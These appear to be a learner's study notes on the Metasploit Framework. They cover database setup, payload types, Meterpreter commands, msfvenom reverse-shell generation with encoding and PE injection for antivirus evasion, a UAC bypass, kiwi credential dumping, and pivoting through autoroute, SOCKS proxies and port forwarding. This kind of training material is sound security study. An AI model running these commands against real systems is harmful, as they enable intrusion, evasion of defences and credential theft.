

commands :

- > sudo systemctl start postgresql
- > sudo systemctl enable postgresql
- > sudo msfdb init
- the basic "service" command display all the results
- the "db_nmap" command has identical syntax to nmap
- To display all Discovered hosts we can issue a "hosts" command
- "services -p 445 "
- We can list the available workspaces with "workspace"
- To create a workspace use : "workspace -a [workspace_name]"
- to switch to another workspace use : "workspace [workspace_name]"
- to delete a workspace use : "workspace -d [workspace_name]"

Auxiliary Modules:

Provide Functionality like : Protocol enumeration, Port Scanning, Fuzzing, Sniffing, and More

command : "show auxiliary"

search command : "search type:auxiliary name:smb"

common commands : use, info, show options

- we can retrieve information regarding successful login attempts from the database using "creds"

Exploit Modules :

Contain Exploit code for vulnerable application and services

Metasploit Payload :

There are two types of Payload :

1. Non-Staged : this payload is sent in its entirety along with the exploit.
2. Staged : This payload is sent in two parts :
 1. first smaller part is sent
 2. then the exploit code is sent with the help of smaller part

ex. windows/shell_reverse_tcp - connect back to attacker and spawn a command shell

ex. windows/shell/reverse_tcp - connect back to attacker, spawn a shell (staged)

Meterpreter Payload :

Meterpreter is a multifunctional payload that can be dynamically extended at run time

It offers capabilities like : file transfer, keylogging and various other methods

command :

- sysinfo
- getuid

Downloading and uploading of file using meterpreter :

```
uploading :
meterpreter > upload /usr/share/windows-resources/binaries/
nc.exe c:\\Users\\offsec\\Desktop
```

```
Downloading :
meterpreter > download c:\\windows\\system32\\calc.exe /
temp/calc.exe
```

Due to shell escaping we have to use 2 backslash

Executable Payload :

tool : msfvenom

Another useful feature of metasploit is the ability to inject a payload into a existing PE file, which may further reduce the chances of AV detection. The injection is done with "-x" flag, Specifying the file to inject into.

```
ex      msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe
-e x86/shikata_ga_nai -i 9 -x /user/share/
windows-resources/binaries/plink.exe -o
shell_reverse_msf_encoded_embedded.exe
```

Metasploit Exploit Multi Handler :

This Hanler will work for both staged as well as Non Staged Payload

Client Side Attacks :

```
kali@kali:~$ msfvenom -l formats
```

- Advanced Feature and Transports :

we can proceed to more advance options using "show advanced"

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set EnableStageEncoding true
set stageencoder x86/shikata_ga_nai
```

- Transport options to switch between Protocols

Building your Own MSF Module :

Post Exploitation With Metasploit :

1. Core Post-Exploitation Feature
2. Migrating Process : "migrate [PID]"
3. Post-Exploitation Modules :

```
use exploit/windows/local/
bypassuac_injection_winsxs
this will only take session
we can also load extensions directly inside the active
session with the "load" command
```

```
meterpreter > load powershell
```

```
meterpreter > load kiwi  
meterpreter > getsystem  
meterpreter > creds_msv
```

Pivoting With the Metasploit Framework :

1. First we find the network interface to which the machine is connected

```
use : "ipconfig"
```

2. Now the subnet we find is 192.168.0.1/24
use route add 192.168.0.1/24

3. route print

Now we can enumerate this subnet
we have only configure route from victim to another subnet
but not configure the reverse path

4. use multi/manage/autoroute
set session [session_number]
exploit

we can also combine route with the server/socks4a module to
configure a SOCKS proxy. this allows
application outside the metasploit framework to tunnel
through the pivot

```
- use auxiliary/server/socks4a  
- set SRVHOST 127.0.0.1  
- exploit -j  
- kali@kali:~$ echo "socks4a 127.0.0.1 1080" >> /etc/  
proxchains.conf  
- proxchains rdesktop 192.168.0.111  
  this will gives us a GUI of the computer in  
internal network of the compromised machine
```

We can also use port forwarding which will forward a
port to the internal network

```
meterpreter > portfwd add -l [listening_port] -p  
[forwarding_port] -r [IP-Internal]
```

```
kali@kali:~$ rdesktop 127.0.0.1
```

Metasploit Automation :